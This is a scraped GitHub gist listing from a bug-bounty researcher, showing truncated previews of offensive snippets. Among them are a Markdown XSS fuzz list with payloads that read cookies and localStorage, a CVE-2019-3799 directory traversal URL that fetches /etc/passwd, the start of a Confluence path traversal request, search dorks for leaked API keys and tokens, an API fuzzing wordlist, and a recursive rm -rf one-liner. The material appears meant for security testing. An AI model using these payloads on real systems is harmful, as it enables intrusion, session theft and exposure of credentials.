Yassine ABOUKIR yassineaboukir
🐐
yassineaboukir
/ List of API endpoints & objects
Last active
April 27, 2024 09:32
A list of 3203 common API endpoints and objects designed for fuzzing.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| 0 | |
| 00 | |
| 01 | |
| 02 | |
| 03 | |
| 1 | |
| 1.0 | |
| 10 | |
| 100 | |
| 1000 |
yassineaboukir
/ warfare.php
Last active
October 8, 2019 06:09
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| <pre>phpinfo();</pre> |
yassineaboukir
/ Electron app decompiling
Created
June 12, 2019 01:10
Obtain the source code of Electron applications
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| # Open terminal and install asar node module globally | |
| $ npm install -g asar | |
| # Go into the app’s directory, in our case it’s Slack | |
| $ cd /Applications/Slack.app/Contents/Resources | |
| # Create a directory to paste the content of app |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| ( find . -type d -name ".git" \ | |
| && find . -name ".gitignore" \ | |
| && find . -name ".gitmodules" ) | xargs rm -rf |
yassineaboukir
/ Markdown XSS fuzzlist
Created
May 9, 2019 00:48
Source: https://github.com/JakobRPennington/InformationSecurity/tree/master/Payloads/md
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| [Basic](javascript:alert('Basic')) | |
| [Local Storage](javascript:alert(JSON.stringify(localStorage))) | |
| [CaseInsensitive](JaVaScRiPt:alert('CaseInsensitive')) | |
| [URL](javascript://www.google.com%0Aalert('URL')) | |
| [In Quotes]('javascript:alert("InQuotes")') | |
| ![Escape SRC - onload](https://www.example.com/image.png"onload="alert('ImageOnLoad')) | |
| ![Escape SRC - onerror]("onerror="alert('ImageOnError')) | |
| [XSS](javascript:prompt(document.cookie)) | |
| [XSS](j a v a s c r i p t:prompt(document.cookie)) | |
| [XSS](data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K) |
yassineaboukir
/ CVE-2019-3799
Created
April 26, 2019 10:53
CVE-2019-3799: Directory Traversal with spring-cloud-config-server
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| http://example.com:8081/label/default/master/..%252F..%252F..%252F../etc/passwd | |
| ref: https://twitter.com/chybeta/status/1118370858974760963?s=19 |
yassineaboukir
/ github-recon
Created
April 10, 2019 15:47
— forked from ehsahil/github-recon
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| “Hackme.tld” API_key | |
| “Hackme.tld” secret_key | |
| “Hackme.tld” aws_key | |
| “Hackme.tld” Password | |
| “Hackme.tld” FTP | |
| “Hackme.tld” login | |
| “Hackme.tld” github_token | |
| “Hackme.tld” http:// & https:// | |
| “Hackme.tld” amazonaws | |
| “Hackme.tld” digitaloceanspaces |
yassineaboukir
/ Confluence Path traversal
Created
April 10, 2019 15:45
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| POST /rest/tinymce/1/macro/preview HTTP/1.1 | |
| Host: xxx.com | |
| Connection: close | |
| Accept-Encoding: gzip, deflate | |
| Accept: text/html, */*; q=0.01 | |
| User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0 | |
| X-Atlassian-Token: no-check | |
| Content-Type: application/json; charset=utf-8 | |
| Referer: https://xxxx.com/pages/resumedraft.action?draftId=786457&draftShareId=056b55bc-fc4a-487b-b1e1-8f673f280c23& | |
| Content-Length: 168 |
NewerOlder